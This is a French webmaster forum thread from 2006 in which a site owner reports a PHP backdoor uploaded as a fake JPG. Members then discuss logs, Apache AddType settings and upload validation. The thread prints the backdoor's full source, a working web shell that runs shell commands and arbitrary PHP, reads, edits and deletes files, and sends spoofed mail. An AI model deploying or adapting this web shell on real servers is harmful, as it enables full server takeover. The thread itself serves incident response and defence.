mon site hacké ?

Discussion dans 'Administration d'un site Web' créé par antiflag, 29 Mars 2006.

  1. antiflag
    antiflag Nouveau WRInaute
    Inscrit:
    10 Mars 2006
    Messages:
    14
    J'aime reçus:
    0
    un mec a uploadé une image via mon formulaire pour l envoi d image :
    mais il s agissait d un fichier php :

    Backdoor PHP codée par rAidEn & LFL
    Exploit include v1.0
    Ce script permet d'exploiter une faille include ou une frame mal placée de type :
    www.victime.com/index.php?page=http://e ... ckdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.

    j'ai stoppé mon serveur.
    que puis je regarder pour savoir ce qu il a fait ?
     
  2. spijoelx
    spijoelx WRInaute discret
    Inscrit:
    6 Février 2004
    Messages:
    248
    J'aime reçus:
    0
    tes logs apache
     
  3. TOMHTML
    TOMHTML WRInaute accro
    Inscrit:
    25 Août 2004
    Messages:
    3 247
    J'aime reçus:
    0
    faudrait que tu nous fasse voir le code de ce fichier php, pour qu'on puisse s'en prémunir...
     
  4. phpmikedu83
    phpmikedu83 WRInaute passionné
    Inscrit:
    6 Août 2005
    Messages:
    1 281
    J'aime reçus:
    0
    Ouai, que ça serve à tout le monde...

    Edit: en même temps, t'abuses si tu testes pas quel type de fichier on t'envoi...
     
  5. enky
    enky WRInaute occasionnel
    Inscrit:
    23 Mars 2003
    Messages:
    404
    J'aime reçus:
    0
    Code:
    Ce script permet d'exploiter une faille include ou une frame mal placée  publié dans The Hackademy Journal numéro 12
    Tu a même le mail du créateur : raiden_cyb@hotmail.com
     
  6. antiflag
    antiflag Nouveau WRInaute
    Inscrit:
    10 Mars 2006
    Messages:
    14
    J'aime reçus:
    0
    je test le fichier que j'upload.
    il a uploadé un fichier jpg, qui etait en fait un code php

    mais en appelant le fichier .jpg, cela n'a pas l'air d executer le php

    voici le code
    Code:
    <? 
    print("<html><head><title>Backdoor PHP codée par rAidEn & LFL</title></head><body 
    bgcolor=\"white\" LINK=\"blue\" VLINK=\"blue\">"); 
    print("<p align=\"center\"><font size=\"5\">Exploit include v1.0</font></p>"); 
    print("<p>Ce script permet d'exploiter une faille include ou une frame mal placée de type : 
    www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.<br><br> 
    <u>par rAidEn & LFL , article publié dans The Hackademy Journal numéro 12</u><br><br>Spécial greetz à : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils,  IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oublié & aussi et surtout à (feu)tim-team</p>"); 
    
    /******Code source du système de remote*****/ 
    
    $QS = $QUERY_STRING; 
    if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur"; 
    if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur"; 
    
    /*pour les forms*********************************/ 
    $tab = explode("&", $QS); 
    $i=0; 
    $remf = ""; 
    while( $tab[$i] != "" && $tab[$i-1] != "separateur" ) 
    { 
        $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]); 
        eval("\$temp2=\${$temp};"); 
        $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2 
    ."'>\n"; 
        $i++; 
    } 
    /* 
    $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]); 
    if($temp!="") 
    { 
        eval("\$temp2=\${$temp};"); 
        $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2 
    ."'>\n"; 
    }*/ 
    /************************************************/ 
    
    
    /*pour les links*********************************/ 
    if($QS != "separateur") 
        $reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) . 
    "&separateur"; 
    else $reml = "?$QS"; 
    $adresse_locale = $reml; 
    /************************************************/ 
    
    
    
    
    print("<hr>"); 
    print("<a href=\"$adresse_locale&option=1\">Exécuter une commande dans un shell</a><br> <!-- utiliser exec($commande, $retour); -->"); 
    print("<a href=\"$adresse_locale&option=2\">Exécuter du code PHP</a><br>"); 
    print("<a href=\"$adresse_locale&option=3\">Lister un répertoires</a><br>"); 
    print("<a href=\"$adresse_locale&option=4\">Gérer les fichiers</a><br>"); 
    print("<a href=\"$adresse_locale&option=5\">Envoyer un mail</a><br>"); 
    print("<a href=\"$adresse_locale&option=6\">Infos serveur</a><br>"); 
    print("<a href=\"mailto:raiden_cyb@hotmail.com\">Contacter le créateur</a><br><hr>"); 
    
    
    /* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */ 
    $option = $_REQUEST["option"]; 
    $rep =  $_REQUEST["rep"]; 
    $nom =  $_REQUEST["nom"]; 
    $option_file =  $_REQUEST["option_file"]; 
    $cmd =  $_REQUEST["cmd"]; 
    $code =  $_REQUEST["code"]; 
    $msg =  $_REQUEST["msg"]; 
    $option_mail =  $_REQUEST["option_mail"]; 
    $destinataire =  $_REQUEST["destinataire"]; 
    $sujet =  $_REQUEST["sujet"]; 
    $message =  $_REQUEST["message"]; 
    
    if($option == 1){ 
        print("<form action=\"?\"> $remf Commande : <input type=\"text\" name=\"cmd\"></form>"); 
        echo "<br> PS : peu de serveurs acceptent les commandes venant de PHP"; 
    } 
    
    if($option == 2){ 
        print("<form action=\"?\"> $remf Code : <input type=\"text\" name=\"code\"></form>"); 
    } 
    
    if($option == 3){ 
        print("<form action=\"?\"> $remf Répertoire à lister : <input type=\"text\" name=\"rep\"></form>"); 
        print("$rep"); 
    } 
    
    if($option == 4){ 
        print("<br><form action=\"?\"> $remf"); 
        print("<br>Nom du fichier :<br><input type=text name=\"nom\">"); 
        print("<input type=hidden name=option value=$option>"); 
        print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"mkdir\" >Créer le 
    fichier"); 
        print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"edit\" >Éditer le 
    fichier"); 
        print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"del\" >Supprimer le 
    fichier"); 
        print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"read\" CHECKED>Lire le 
    fichier"); 
        print("<input type=submit value=Go>"); 
        print("</form>"); 
    } 
    
    
    if($option == 5){ 
        print("<PRE><form action=\"?\"> $remf Destinataire : <input type=\"text\" name=\"destinataire\" size=\"80\">"); 
        print("<br>Provenance du mail : <input type=\"text\" name=\"provenance\" size=\"80\"><br>"); 
        print("Adresse de retour : <input type=\"text\" name=\"retour\" size=\"80\"><br>"); 
        print("Sujet : <input type=\"text\" name=\"sujet\" size=\"80\"><br>"); 
        print("Message : <input type=\"text\" name=\"message\" 
    size=\"80\"><br><input type=\"submit\" value=\"Envoyer\"></form></PRE>"); 
    } 
    
    if($option == 6){ 
        echo"Nom du serveur : <a href=\"http://$SERVER_NAME\">$SERVER_NAME</a><br> 
    "; 
        echo"Adresse IP du serveur : <a href=\"http://$SERVER_ADDR\">$SERVER_ADDR</a><br> "; 
        echo"Port utilisé par défault 80 : <font color=\"red\">$SERVER_PORT</font><br> "; 
        echo"Mail de l' admin : <a href=\"mailto:$SERVER_ADMIN\">$SERVER_ADMIN</a><br><br>"; 
        
        
        echo"Racine du serveur : <font color=\"red\">$DOCUMENT_ROOT</font><br>"; 
        echo"Adresse menant à COMMAND.COM : <font color=\"red\">$COMSPEC</font><br>"; 
        echo"Path installé sur le serveur : <font color=\"red\">$PATH</font> <br>"; 
        echo"OS, SERVEUR, version PHP : <font color=\"red\">$SERVER_SOFTWARE</font><br><br>"; 
        
        echo"Version du protocole utilisé (HTTP) : <font color=\"red\">$SERVER_PROTOCOL</font><br>"; 
        echo"En-tête Accept du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT</font><br>"; 
        echo"En tête User_agent du protocole HTTP : <font color=\"red\">$HTTP_USER_AGENT</font><br>"; 
        echo"En-tête Accept-Charset du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_CHARSET</font><br> "; 
        echo"En-tête Accept-Encoding du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_ENCODING</font><br> "; 
        echo"En-tête Accept-Language du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_LANGUAGE</font><br> "; 
        echo"En-tête Connection du protocole HTTP : <font color=\"red\">$HTTP_CONNECTION</font><br> "; 
        echo"En-tête Host du protocole HTTP : <font color=\"red\">$HTTP_HOST</font><br><br>"; 
        
        echo"Version de CGI : <font color=\"red\">$GATEWAY_INTERFACE</font><br> "; 
        echo"Version de récupération du form : <font color=\"red\">$REQUEST_METHOD</font><br> "; 
        echo"Argument de l' adresse : <font color=\"red\">$QUERY_STRING</font> <br>"; 
        echo"Nom du script : <font color=\"red\">$SCRIPT_NAME</font><br> "; 
        echo"Chemin du script : <font color=\"red\">$SCRIPT_FILENAME</font><br> "; 
        echo"Adresse entière du script : <font color=\"red\">$REQUEST_URI 
    </font><br>"; 
    } 
    
    /* Commande*******/ 
    if($cmd != "") 
    { 
        echo "{${passthru($cmd)}}<br>"; 
    } 
    /* Commande*******/ 
    
    
    /* Exécution de code PHP**********/ 
    if($code != ""){ 
        $code = stripslashes($code); 
        eval($code); 
    } 
    /* Execution de code PHP**********/ 
    
    
    /* Listing de rep******************/ 
    if($rep != "") 
    { 
        if(strrchr($rep, "/") != "" ||  !stristr($rep, "/")) $rep .= "/"; 
        $dir=opendir($rep); 
        while ($file = readdir($dir)) 
        { 
               if (is_dir("$rep/$file") && $file!='.') 
           { 
                  echo"<li><a href=\"$adresse_locale&rep=$rep$file\">(rep) $file 
    </a><br>\n"; 
           }elseif(is_file("$rep/$file")) 
           { 
                  echo "<li>   <a 
    href=\"$adresse_locale&option_file=read&nom=$rep$file\">(file) $file</a> <a 
    href=\"$adresse_locale&option_file=del&nom=$rep$file\">del</a> <a 
    href=\"$adresse_locale&option_file=edit&nom=$rep$file\">edit</a><br>\n"; 
           } 
        } 
    } 
    /* Listing de rep******************/ 
    
    
    /* Gestion des fichiers*********************/ 
    if($option_file == "mkdir" && $nom != "") 
    { 
        $fp = fopen($nom, "w"); 
        fwrite($fp, stripslashes($msg)); 
        print("Fichier crée/modifié"); 
    } 
    
    if($option_file == "read" && $nom != "") 
    { 
        $fp = fopen($nom, "r"); 
        $file = fread($fp, filesize($nom)); 
        $file = htmlentities ($file, ENT_QUOTES); 
        $file = nl2br($file); 
        echo "<br>$file"; 
    } 
    
    if($option_file == "del" && $nom != "") 
    { 
        unlink($nom); 
        print("Fichier effacé"); 
    } 
    
    if($option_file == "edit" && $nom != "") 
    { 
        $fp = fopen($nom, "r"); 
        $file = fread($fp, filesize($nom)); 
        $file = htmlentities ($file, ENT_QUOTES); 
        echo "<form action=$adresse_locale> $remf"; 
        echo "<TEXTAREA COLS=80 rows=25 name=msg>$file</textarea>"; 
        echo "<input type=hidden name=option_file value=mkdir>"; 
        echo "<input type=hidden name=nom value=$nom>"; 
        echo "<br><input type=submit value=Go> PS : les fichiers trop longs ne passent po :("; 
        echo "</form>"; 
    } 
    /* Gestion des fichiers*********************/ 
    
    
    /* Envoi de mails************************/ 
    if(($destinataire != "" ) && ($sujet != "") && ($message != "")){ 
        $option_mail = "From: $provenance \n"; 
        $option_mail .= "Reply-to: $retour \n"; 
        $option_mail .= "X-Mailer: Mailer by rAidEn \n"; 
        
        mail($destinataire, $sujet, $message, $option_mail); 
        
        print("Mail envoyé a : $destinataire ..."); 
    } 
    /* Envoi de mails************************/ 
    
    print("</body></html>"); 
    /*print("<noscript><script=\"");*/ 
    ?>
    
    Edit HawkEye_TpfH: Mise en forme [ code ] [ /code ]
     
  7. phpmikedu83
    phpmikedu83 WRInaute passionné
    Inscrit:
    6 Août 2005
    Messages:
    1 281
    J'aime reçus:
    0
    Ah ok, je vois mieux ;-)

    Mais, c'est normal qu'il n'execute pas le code du fichier en .jpg, car si tu ne modifie pas la config d'apache pour ça, tu peux pas!
     
  8. thierry8
    thierry8 WRInaute accro
    Inscrit:
    11 Juillet 2005
    Messages:
    3 241
    J'aime reçus:
    0
    C'est à dire ?

    C'est à quel niveau dans la config apache ?
    Parce que par exemple l'extension php3 et php fonctionne...
     
  9. antiflag
    antiflag Nouveau WRInaute
    Inscrit:
    10 Mars 2006
    Messages:
    14
    J'aime reçus:
    0
    donc pas de soucis ?
    je peux voir qu'il peut essayer d envoyer des emails afin de s envoyer mes fichier php !
    comment lire les logs d envoi d email ?
     
  10. phpmikedu83
    phpmikedu83 WRInaute passionné
    Inscrit:
    6 Août 2005
    Messages:
    1 281
    J'aime reçus:
    0
    Ben dans la config des fichiers qui sont envoyés à l'interpréteur PHP, par défaut, tu as .phtml .pwml .php3 .php4 .php .php2 .inc

    Tu peux en rajouter directement dans le httpd.conf ou tout simplement dans le fichier .htaccess pour forcer l'interprétation des fichiers .htm ou .html, par exemple...
     
  11. thierry8
    thierry8 WRInaute accro
    Inscrit:
    11 Juillet 2005
    Messages:
    3 241
    J'aime reçus:
    0
    Dans le httpd.conf c'est quoi exactement ?

    Car j'ai cela, mais uniquement pour le index:
    DirectoryIndex at_domains_index.html index.html index.htm index.php index.php3
     
  12. phpmikedu83
    phpmikedu83 WRInaute passionné
    Inscrit:
    6 Août 2005
    Messages:
    1 281
    J'aime reçus:
    0
    Et tu as aussi:

    Code:
    AddType application/x-httpd-php
    entre des tas d'autres choses...
     
  13. antiflag
    antiflag Nouveau WRInaute
    Inscrit:
    10 Mars 2006
    Messages:
    14
    J'aime reçus:
    0
    ou est stocker le log des emails envoyés sur mon serveur ?
    pour etre sur qu il ne s'est envoyé...
     
  14. thierry8
    thierry8 WRInaute accro
    Inscrit:
    11 Juillet 2005
    Messages:
    3 241
    J'aime reçus:
    0
    Merci phpmikedu83, mais chez moi cette ligne est bizarrement en commentaire... :?
    Code:
    #AddType application/x-httpd-php .php
     
  15. phpmikedu83
    phpmikedu83 WRInaute passionné
    Inscrit:
    6 Août 2005
    Messages:
    1 281
    J'aime reçus:
    0
    Tu m'intrigues, là...
     
  16. thierry8
    thierry8 WRInaute accro
    Inscrit:
    11 Juillet 2005
    Messages:
    3 241
    J'aime reçus:
    0
    Je suis sous plesk...
    mais le php fonctionne bien... :? :?
     
  17. spijoelx
    spijoelx WRInaute discret
    Inscrit:
    6 Février 2004
    Messages:
    248
    J'aime reçus:
    0
    cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.
     
  18. thierry8
    thierry8 WRInaute accro
    Inscrit:
    11 Juillet 2005
    Messages:
    3 241
    J'aime reçus:
    0
    Bah, ça fonctionne, c'est le principal ! ;)

    Merci.
    Si jamais, je veux en ajouter je fais bien cela:
    AddType application/x-httpd-php .php .example

    Ou faut-il ajouter une ligne par extension ?
     
  19. spijoelx
    spijoelx WRInaute discret
    Inscrit:
    6 Février 2004
    Messages:
    248
    J'aime reçus:
    0
    une seule ligne avec les extensions qui se suivent en effet
     
  20. thierry8
    thierry8 WRInaute accro
    Inscrit:
    11 Juillet 2005
    Messages:
    3 241
    J'aime reçus:
    0
  21. phpmikedu83
    phpmikedu83 WRInaute passionné
    Inscrit:
    6 Août 2005
    Messages:
    1 281
    J'aime reçus:
    0
    Tu peux l'ajouter tout simplement dans le .htaccess du site où tu en as besoin ;-)
     
  22. billyboylindien
    billyboylindien WRInaute impliqué
    Inscrit:
    28 Février 2005
    Messages:
    574
    J'aime reçus:
    0
    je crois que je connais c'est une faille qui va recuperer ton cookies pour choper tes droits
     
  23. mamat-
    mamat- WRInaute occasionnel
    Inscrit:
    18 Octobre 2004
    Messages:
    371
    J'aime reçus:
    0
    Oui, pour ce qui est du code, ça parrait un peu pipo tout de même, j'entends par là le code de hacker qui dit qu'il est un méchant code avec le mode d'emploi pour débutant ça fait pas sérieux tout de même ;oD !
     
  24. link182
    link182 WRInaute occasionnel
    Inscrit:
    26 Juillet 2005
    Messages:
    470
    J'aime reçus:
    0
    oui c'est clair !
     
  25. TOMHTML
    TOMHTML WRInaute accro
    Inscrit:
    25 Août 2004
    Messages:
    3 247
    J'aime reçus:
    0
    quand même violent le code... si tu ne vérifie pas tes formulaires.

    voila ce qu'il te faut pour vérifier que c'est bien un JPG :
    Code:
    $size = @getimagesize($TonFichierJPG) or die("planté !");
    if ( $size[2] != 2) echo "tout sauf un JPG ! Sale hacker ! ^^";
    else echo "yesssssssss ! JPG ok";
    
     
  26. phpmikedu83
    phpmikedu83 WRInaute passionné
    Inscrit:
    6 Août 2005
    Messages:
    1 281
    J'aime reçus:
    0
    Radical, MDRRR :lol:
     
  27. thierry8
    thierry8 WRInaute accro
    Inscrit:
    11 Juillet 2005
    Messages:
    3 241
    J'aime reçus:
    0
    En envoyant en entête un header('***jpg***'); cela n'aurait-il pas pu contrecarer ta vérification ?

    (encore faut-il que ce fichier soit interprété..)